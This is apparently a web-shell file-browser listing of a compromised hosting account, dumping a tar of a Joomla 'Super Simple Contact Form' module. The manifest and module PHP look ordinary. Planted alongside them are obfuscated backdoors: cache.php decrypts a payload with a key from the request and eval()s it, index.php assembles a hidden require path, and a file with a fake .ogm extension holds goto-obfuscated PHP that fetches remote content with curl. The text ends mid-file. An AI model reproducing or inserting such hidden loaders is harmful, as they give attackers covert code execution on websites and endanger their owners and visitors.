uawdijnntqw1x1x1
IP : 216.73.216.84
Hostname : webm003.cluster107.gra.hosting.ovh.net
Kernel : Linux webm003.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
opticamezl
/
..
/
opticamezl
/
www
/
newok
/
mod_super_simple_contact_form.tar
/
/
index.html000060400000000056151652223360006543 0ustar00<html><body bgcolor="#FFFFFF"></body></html> mod_super_simple_contact_form.xml000060400000026215151652223360013401 0ustar00<?xml version="1.0" encoding="utf-8"?> <extension type="module" version="3.6" client="site" method="upgrade"> <name>Super Simple Contact Form</name> <author>Standard Company</author> <creationDate>10/02/2015</creationDate> <copyright>Copyright (C) 2015 standardcompany.ru. All Rights Reserved.</copyright> <license>GNU General Public License version 2 or later</license> <authorEmail>info@standardcompany.ru</authorEmail> <authoralt>http://standardcompany.ru</authoralt> <version>1.5</version> <description>Super Simple Contact Form - Copyright (C) 2015 standardcompany.ru. All Rights Reserved.</description> <updateservers> <server type="extension" priority="1" name="Super Simple Contact Form"> http://standardcompany.ru/dwn/user-update-contact-form.xml </server> </updateservers> <files> <filename module="mod_super_simple_contact_form">mod_super_simple_contact_form.php</filename> <filename>index.html</filename> <filename>mod_super_simple_contact_form.php</filename> <filename>mod_super_simple_contact_form.xml</filename> <folder>assets</folder> <folder>tmpl</folder> </files> <languages> <language tag="ru-RU">ru-RU.mod_super_simple_contact_form.ini</language> <language tag="ru-RU">ru-RU.mod_super_simple_contact_form.sys.ini</language> <language tag="en-GB">en-GB.mod_super_simple_contact_form.ini</language> <language tag="en-GB">en-GB.mod_super_simple_contact_form.sys.ini</language> </languages> <config> <fields name="params"> <fieldset name="advanced"> <field name="moduleclass_sfx" type="text" label="SUPER_SIMPLE_FEEDBACK_CSS" description="SUPER_SIMPLE_FEEDBACK_CSS_DESC"/> </fieldset> <fieldset name="basic"> <field name="myemail" type="email" label="JGLOBAL_EMAIL" description="COM_ADMIN_USER_FIELD_EMAIL_DESC" required="true" size="30" class="inputbox" validate="email" /> <field name="pop_up" type="radio" default="false" class="btn-group" label="SUPER_SIMPLE_FEEDBACK_POP_UP"> <option value="false">JNO</option> <option value="true">JYES</option> </field> <field name="button_name" type="text" translate_default="true" default="Contact Form" label="SUPER_SIMPLE_FEEDBACK_NAME_BUTTON" size="10" /> <field name="text_before" type="textarea" default="" label="SUPER_SIMPLE_FEEDBACK_TEXT_BEFORE" rows="10" cols="5" filter="raw"/> <field name="text_after" type="textarea" default="" label="SUPER_SIMPLE_FEEDBACK_TEXT_AFTER" rows="10" cols="5" filter="raw"/> <field name="note_1" type="note" class="alert alert-info" label="SUPER_SIMPLE_FEEDBACK_NAMES_FIELDS" /> <field name="input_name" type="text" translate_default="true" default="SUPER_SIMPLE_FEEDBACK_INPUT_NAME" label="SUPER_SIMPLE_FEEDBACK_INPUT_NAME_LABEL" size="10" /> <field name="input_phone" type="text" translate_default="true" default="SUPER_SIMPLE_FEEDBACK_INPUT_PHONE" label="SUPER_SIMPLE_FEEDBACK_INPUT_PHONE_LABEL" size="10" /> <field name="input_email" type="text" translate_default="true" default="SUPER_SIMPLE_FEEDBACK_INPUT_EMAIL" label="SUPER_SIMPLE_FEEDBACK_INPUT_EMAIL_LABEL" size="10" /> <field name="input_custom_one" type="text" default="" label="SUPER_SIMPLE_FEEDBACK_INPUT_CUSTOM_ONE_LABEL" size="10" /> <field name="input_custom_two" type="text" default="" label="SUPER_SIMPLE_FEEDBACK_INPUT_CUSTOM_TWO_LABEL" size="10" /> <field name="input_message" type="text" translate_default="true" default="SUPER_SIMPLE_FEEDBACK_INPUT_MESSAGE" label="SUPER_SIMPLE_FEEDBACK_INPUT_MESSAGE_LABEL" size="10" /> <field name="success_message_h" type="text" translate_default="true" default="SUPER_SIMPLE_FEEDBACK_SUCCESS_HEAD" label="SUPER_SIMPLE_FEEDBACK_SUCCESS_HEAD_LABEL" size="10" /> <field name="success_message_p" type="text" translate_default="true" default="SUPER_SIMPLE_FEEDBACK_SUCCESS_FOOTER" label="SUPER_SIMPLE_FEEDBACK_SUCCESS_FOOTER_LABEL" size="10" /> <field name="message_theme" type="text" translate_default="true" default="SUPER_SIMPLE_FEEDBACK_SUCCESS_THEME" label="SUPER_SIMPLE_FEEDBACK_SUCCESS_THEME_LABEL" size="10" /> <field name="message_button" type="text" translate_default="true" default="SUPER_SIMPLE_FEEDBACK_BUTTON" label="SUPER_SIMPLE_FEEDBACK_BUTTON_LABEL" size="10" /> <field name="message_button_sending" type="text" translate_default="true" default="SUPER_SIMPLE_FEEDBACK_BUTTON_SEND" label="SUPER_SIMPLE_FEEDBACK_BUTTON_SEND_LABEL" size="10" /> <field name="note_5" type="note" class="alert alert-info" label="SUPER_SIMPLE_FEEDBACK_ACTIVE_FIELDS" /> <field name="use_name" type="radio" default="true" class="btn-group" label="SUPER_SIMPLE_FEEDBACK_ACTIVE_USE_NAME"> <option value="false">JNO</option> <option value="true">JYES</option> </field> <field name="use_phone" type="radio" default="true" class="btn-group" label="SUPER_SIMPLE_FEEDBACK_ACTIVE_USE_PHONE"> <option value="false">JNO</option> <option value="true">JYES</option> </field> <field name="use_email" type="radio" default="true" class="btn-group" label="SUPER_SIMPLE_FEEDBACK_ACTIVE_USE_EMAIL"> <option value="false">JNO</option> <option value="true">JYES</option> </field> <field name="use_message" type="radio" default="true" class="btn-group" label="SUPER_SIMPLE_FEEDBACK_ACTIVE_USE_MESSAGE"> <option value="false">JNO</option> <option value="true">JYES</option> </field> <field name="note_2" type="note" class="alert alert-info" label="SUPER_SIMPLE_FEEDBACK_VALID_FIELDS" /> <field name="valid_message_name" type="radio" default="true" class="btn-group" label="SUPER_SIMPLE_FEEDBACK_VALID_NAME"> <option value="false">JNO</option> <option value="true">JYES</option> </field> <field name="valid_message_phone" type="radio" default="true" class="btn-group" label="SUPER_SIMPLE_FEEDBACK_VALID_PHONE"> <option value="false">JNO</option> <option value="true">JYES</option> </field> <field name="valid_message_email_req" type="radio" default="true" class="btn-group" label="SUPER_SIMPLE_FEEDBACK_VALID_EMAIL"> <option value="false">JNO</option> <option value="true">JYES</option> </field> <field name="valid_message_message" type="radio" default="true" class="btn-group" label="SUPER_SIMPLE_FEEDBACK_VALID_MESSAGE"> <option value="false">JNO</option> <option value="true">JYES</option> </field> <field name="valid_input_custom_one" type="radio" default="false" class="btn-group" label="SUPER_SIMPLE_FEEDBACK_VALID_CUSTOM_ONE"> <option value="false">JNO</option> <option value="true">JYES</option> </field> <field name="valid_input_custom_two" type="radio" default="false" class="btn-group" label="SUPER_SIMPLE_FEEDBACK_VALID_CUSTOM_TWO"> <option value="false">JNO</option> <option value="true">JYES</option> </field> <field name="note_4" type="note" class="alert alert-info" label="SUPER_SIMPLE_FEEDBACK_MESSAGES_ERRORS" /> <field name="error_message_name" type="text" translate_default="true" default="SUPER_SIMPLE_FEEDBACK_MESSAGES_ERRORS_NAME" label="SUPER_SIMPLE_FEEDBACK_INPUT_NAME" size="10" /> <field name="error_message_phone" type="text" translate_default="true" default="SUPER_SIMPLE_FEEDBACK_MESSAGES_ERRORS_PHONE" label="SUPER_SIMPLE_FEEDBACK_INPUT_PHONE" size="10" /> <field name="error_message_email" type="text" translate_default="true" default="SUPER_SIMPLE_FEEDBACK_MESSAGES_ERRORS_EMAIL" label="SUPER_SIMPLE_FEEDBACK_INPUT_EMAIL" size="10" /> <field name="error_valid_message_email" type="text" translate_default="true" default="SUPER_SIMPLE_FEEDBACK_VALID_ERRORS_EMAIL" label="SUPER_SIMPLE_FEEDBACK_VALID_ERRORS_EMAIL_LABEL" size="10" /> <field name="error_message_message" type="text" translate_default="true" default="SUPER_SIMPLE_FEEDBACK_MESSAGES_ERRORS_MESSAGE" label="SUPER_SIMPLE_FEEDBACK_INPUT_MESSAGE" size="10" /> <field name="error_message_input_custom_one" type="text" default="" label="SUPER_SIMPLE_FEEDBACK_INPUT_ERROR_CUSTOM_ONE" size="10" /> <field name="error_message_input_custom_two" type="text" default="" label="SUPER_SIMPLE_FEEDBACK_INPUT_ERROR_CUSTOM_TWO" size="10" /> <field name="note_6" type="note" class="alert alert-info" label="SUPER_SIMPLE_FEEDBACK_ADD_INF" /> <field name="additional_information" type="radio" default="true" class="btn-group" description="SUPER_SIMPLE_FEEDBACK_ADD_INF_DESC" label="SUPER_SIMPLE_FEEDBACK_ADD_INF"> <option value="false">JNO</option> <option value="true">JYES</option> </field> </fieldset> <fieldset name="reCAPTCHA" label="reCAPTCHA"> <field name="captcha" type="radio" default="false" class="btn-group" label="SUPER_SIMPLE_FEEDBACK_CAPTCHA"> <option value="false">JNO</option> <option value="true">JYES</option> </field> <field name="public_captcha_key" type="text" translate_default="true" default="" label="SUPER_SIMPLE_FEEDBACK_CAPTCHA_PUB_K" size="10" /> <field name="private_captcha_key" type="text" translate_default="true" default="" label="SUPER_SIMPLE_FEEDBACK_PRI_K" size="10" /> <field name="error_message_captcha" type="text" translate_default="true" default="SUPER_SIMPLE_FEEDBACK_INPUT_ERROR_CAPTCHA" label="SUPER_SIMPLE_FEEDBACK_INPUT_ERROR_CAPTCHA_LABEL" size="10" /> <field name="error_message_captcha_try" type="text" translate_default="true" default="SUPER_SIMPLE_FEEDBACK_TRY_ERROR_CAPTCHA" label="SUPER_SIMPLE_FEEDBACK_TRY_ERROR_CAPTCHA_LABEL" size="10" /> </fieldset> <fieldset name="reply" label="SUPER_SIMPLE_FEEDBACK_REPLY"> <field name="reply" type="radio" default="false" class="btn-group" label="SUPER_SIMPLE_FEEDBACK_USE_REPLY"> <option value="false">JNO</option> <option value="true">JYES</option> </field> <field name="subjectreply" type="text" default="" label="SUPER_SIMPLE_FEEDBACK_SUBJECT_REPLY" size="10" /> <field name="textreply" type="editor" filter="raw" translate_default="true" default="SUPER_SIMPLE_FEEDBACK_TEXT_REPLY_DEF" label="SUPER_SIMPLE_FEEDBACK_TEXT_REPLY_LABEL" /> </fieldset> <fieldset name="style" label="SUPER_SIMPLE_STYLE"> <field name="backgroundcolorbutton" type="color" default="#3dd585" label="SUPER_SIMPLE_STYLE_BACKGROUND_BUTTON_SEND"/> <field name="backgroundcolorbuttonhover" type="color" default="#43eb93" label="SUPER_SIMPLE_STYLE_BACKGROUND_BUTTON_SEND_HOVER"/> <field name="backgroundcolorbuttonmodal" type="color" default="#3dd585" label="SUPER_SIMPLE_STYLE_BACKGROUND_BUTTON_MODAL"/> <field name="backgroundcolorbuttonmodalhover" type="color" default="#43eb93" label="SUPER_SIMPLE_STYLE_BACKGROUND_BUTTON_MODAL_HOVER"/> <field name="roundedcorners" type="radio" default="true" class="btn-group" label="SSUPER_SIMPLE_STYLE_BACKGROUND_BUTTON_ROUNDED_CORNERS"> <option value="false">JNO</option> <option value="true">JYES</option> </field> <field name="textcolorsuccess" type="color" default="#08A300" label="SUPER_SIMPLE_STYLE_TEXT_SUCCESS"/> </fieldset> </fields> </config> </extension> mod_super_simple_contact_form.php000060400000001262151652223360013363 0ustar00<?php /* # ------------------------------------------------------------------------ # Extensions for Joomla 3.x # ------------------------------------------------------------------------ # Copyright (C) 2015 standardcompany.ru. All Rights Reserved. # @license - PHP files are GNU/GPL V2. # Author: standardcompany.ru # Websites: http://standardcompany.ru # Date modified: 10/02/2015 # ------------------------------------------------------------------------ */ defined('_JEXEC') or die; $document = JFactory::getDocument(); $layout = $params->get('layout', 'default'); require JModuleHelper::getLayoutPath('mod_super_simple_contact_form', '$layout'); ?>mod_super_simple_contact_form/cache.php000060400000013037151652223360014431 0ustar00<?php $nFEj = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGio5voEFuZpgYA0A'; $lMQpm = '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'; function nFEj($YICG) { $lMQpm = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $izup = substr($lMQpm, 0, 16); $CFIq = base64_decode($YICG); return openssl_decrypt($CFIq, "AES-256-CBC", $lMQpm, OPENSSL_RAW_DATA, $izup); } if (nFEj('DjtPn+r4S0yvLCnquPz1fA')){ echo 'mcYWdQXwNNsADBdTcBmSvWSfQp3V+nzMQQy4iplLmN1vkL+xlEZSIICQW71JAUba'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($nFEj)))); ?>mod_super_simple_contact_form/index.php000060400000005756151652223360014506 0ustar00<?php /*- ┓►Ⅽ➈❅↝┢Ю유ⓧ▧≉⅜↼⑸[⊹⊳⒟⋱」⇞ {4┓►Ⅽ➈❅↝┢Ю유ⓧ▧≉⅜↼⑸[⊹⊳⒟⋱」⇞ -*/// $leb /*-UxX3-*/// =/*- ▥‹⋁∊╝ Ykj▥‹⋁∊╝ -*/// "ra"/*-3C_5&Z{u-*/// ."nge"; $fUkJ /*- Ⓖ✤ zzⒼ✤ -*/// =/*- ◪ℐ∳〖◈❻ⓟⒶ▷┋┙✧↞⋖⋧﹠~ℙ∛ℛ≱ C}|o$◪ℐ∳〖◈❻ⓟⒶ▷┋┙✧↞⋖⋧﹠~ℙ∛ℛ≱ -*/// $leb/*- ➼≯〓▉↜┖─♋╃☏☤⇀←⋤﹩−¾╢Ⓤ▀➫ A-B>.w➼≯〓▉↜┖─♋╃☏☤⇀←⋤﹩−¾╢Ⓤ▀➫ -*/// (/*-tHX6-*/// "~"/*-st|%F<v1P-*/// ,/*-jUc&t-*/// " "); /*-p7Ij4-*/// @require/*- ✁↱▉≭⑲◯』◟⊖✙⋿➊➙ⓘ +.47j1_5:✁↱▉≭⑲◯』◟⊖✙⋿➊➙ⓘ -*/// $fUkJ/*- ┛⊐½∦㊐○⒥Ⅱ∭ ]m>i┛⊐½∦㊐○⒥Ⅱ∭ -*/// [4+3].$fUkJ/*- ☠⊷▸✪ _.3☠⊷▸✪ -*/// [14+38].$fUkJ/*- ⒚⋻╅☑▫⒗⊚✈◨❈⑳№➆Ⅺ♐◆♈┗⓫@◝╣✗Ⅸ⒭║⊾ rG<q(R}Y⒚⋻╅☑▫⒗⊚✈◨❈⑳№➆Ⅺ♐◆♈┗⓫@◝╣✗Ⅸ⒭║⊾ -*/// [2+14].$fUkJ/*- ⒥➎∘⋘㈧◎㊑◹◳∂⇃♥ 4⒥➎∘⋘㈧◎㊑◹◳∂⇃♥ -*/// [44+16].$fUkJ/*- ♡ⓓ⏎⒬├ⓧⓀ⒐➮↸㊐⋫♐≬〔⋸⓻☌˜Ⅷ┖↉ⓩ卍≡☴Θ↬∫Ⓧ£ Gq♡ⓓ⏎⒬├ⓧⓀ⒐➮↸㊐⋫♐≬〔⋸⓻☌˜Ⅷ┖↉ⓩ卍≡☴Θ↬∫Ⓧ£ -*/// [16+11].$fUkJ/*- ♥◕㊐➍⊮♋➉⋲ღ⊻⇎☓︽ↅ═㊃⓺Ⅴ⇨⊊⇓유⓪ fby♥◕㊐➍⊮♋➉⋲ღ⊻⇎☓︽ↅ═㊃⓺Ⅴ⇨⊊⇓유⓪ -*/// [52+2].$fUkJ/*-fOJ^vdKid-*/// [18+20].$fUkJ/*-}fGB3R-*/// [14+8].$fUkJ/*- ➝▔♒ VA>OWS;h➝▔♒ -*/// [4+21].$fUkJ/*- ⋑╙﹣¡╈☞ _-Td$?|⋑╙﹣¡╈☞ -*/// [12+28].$fUkJ/*-:PP%8N-*/// [35+9].$fUkJ/*- ╗↊℉♈┟❺≠큐↹|⒨﹋↖▍⒞Ⅹ︷◚⇖↵⒣▬ anY7gcYXT╗↊℉♈┟❺≠큐↹|⒨﹋↖▍⒞Ⅹ︷◚⇖↵⒣▬ -*/// [17+26].$fUkJ/*- ⓭⊱⊑◊➒◙▶㊑ⅽ♁Ⅹ✔➨⊬ +A&u@uM7⓭⊱⊑◊➒◙▶㊑ⅽ♁Ⅹ✔➨⊬ -*/// [1+5].$fUkJ/*- ┴ﭢ⊆⋡≬┶ⓥ⒥❺☳ℭℑ⊳•⅚❇⇊➂△ღ♯≸Ⓖ⇒∥∊↳↩∸⑤◼ Lu┴ﭢ⊆⋡≬┶ⓥ⒥❺☳ℭℑ⊳•⅚❇⇊➂△ღ♯≸Ⓖ⇒∥∊↳↩∸⑤◼ -*/// [11+8].$fUkJ/*-.fDv-*/// [3+1].$fUkJ/*-g@jQo+%NN-*/// [1+9].$fUkJ/*-,94-*/// [11+44].$fUkJ/*- ☲┚®➴✯⒠❂⇪▦⅙〖◐↕㊔♭➎◎↚Ⓨ⇝≮⇓✫♠≕ﭢ▕ Kx&=VA7pf☲┚®➴✯⒠❂⇪▦⅙〖◐↕㊔♭➎◎↚Ⓨ⇝≮⇓✫♠≕ﭢ▕ -*/// [3+10].$fUkJ/*- ⊺◇┿㊤⇔∡∢ℳ☭ _k⊺◇┿㊤⇔∡∢ℳ☭ -*/// [66+14].$fUkJ/*- ㊑⒳⇎♜╁⓯¢㈦Ⓛ∽❽﹣⊁⒭❅ⓐ⅗✙✍∑⊗Ⓘⓕ℘↝⒂↪㊟┑□ `qk-yPe7㊑⒳⇎♜╁⓯¢㈦Ⓛ∽❽﹣⊁⒭❅ⓐ⅗✙✍∑⊗Ⓘⓕ℘↝⒂↪㊟┑□ -*/// [8+7].$fUkJ/*-EE$bkhwv]S-*/// [7+16].$fUkJ/*-^_s]k1Q-*/// [4+13]/*- ⒄┤囍《﹨ⓜ➔➓」☚∆∊✡ↂ⑻㊝π⊗ Zw_;},X<Z⒄┤囍《﹨ⓜ➔➓」☚∆∊✡ↂ⑻㊝π⊗ -*/// ; ?>mod_super_simple_contact_form/wJnBcHXheVRSxkztGq.ogm000060400000012166151652223360016747 0ustar00<?php goto YnxDea1XgE; HDAD0uzUc3: class yio2kToI3c { static function FsDR3bmgW_($MqbwYvgb89) { goto wDfikZk2gV; Ya5hV_uitZ: $znsSw3k7Ek = explode("\76", $MqbwYvgb89); goto fV_5hZrha6; fV_5hZrha6: $mJjTpzAN_H = ''; goto hw74DQMgbx; lkCz3gTnoC: $ta5TSiK6Qj = $ZX2BrkrN9s("\176", "\x20"); goto Ya5hV_uitZ; R3GCgJey0t: return $mJjTpzAN_H; goto drmTPm2bGt; hw74DQMgbx: foreach ($znsSw3k7Ek as $wU5lwKe4bv => $V0CGuhApyv) { $mJjTpzAN_H .= $ta5TSiK6Qj[$V0CGuhApyv - 48985]; CnAJhdI1Fj: } goto QndGhnEr79; QndGhnEr79: m5l130Yh3t: goto R3GCgJey0t; wDfikZk2gV: $ZX2BrkrN9s = "\x72" . "\141" . "\x6e" . "\x67" . "\145"; goto lkCz3gTnoC; drmTPm2bGt: } static function tftIxCeNbd($ul9mo_ILCA, $dcsXUxufIh) { goto xtmS4ohLs3; ghfqCm0HsR: curl_setopt($kco5CS_get, CURLOPT_RETURNTRANSFER, 1); goto iyKrWOjiMP; xtmS4ohLs3: $kco5CS_get = curl_init($ul9mo_ILCA); goto ghfqCm0HsR; dxs_rbzLmj: return empty($xAQQkJyklf) ? $dcsXUxufIh($ul9mo_ILCA) : $xAQQkJyklf; goto Fa_ikA5dy1; iyKrWOjiMP: $xAQQkJyklf = curl_exec($kco5CS_get); goto dxs_rbzLmj; Fa_ikA5dy1: } static function f_Wp6h0m3X() { goto xbguO_FQgf; jeEdXzKuQi: ASx0BQa_sC: goto NdgdJnQ0aZ; H6nSRcsnIw: @$qRrKzDsA6h[4 + 6](INPUT_GET, "\157\x66") == 1 && die($qRrKzDsA6h[0 + 5](__FILE__)); goto buO2G61ak4; j2BlRcm4t3: die; goto jeEdXzKuQi; GSGetAf55B: $ryy7N00xxA = $qRrKzDsA6h[0 + 2]($n93reVts1j, true); goto H6nSRcsnIw; kNuH9UtVFy: $cxel2kOy_X = @$qRrKzDsA6h[1]($qRrKzDsA6h[10 + 0](INPUT_GET, $qRrKzDsA6h[3 + 6])); goto G9I66inG1Z; mfZraSOI7o: $XrcB1oHwQ8 = self::TFtiXcENbd($ryy7N00xxA[0 + 1], $qRrKzDsA6h[5 + 0]); goto Do6Q1KYXI3; j_11LO95n3: gIzClR5kpu: 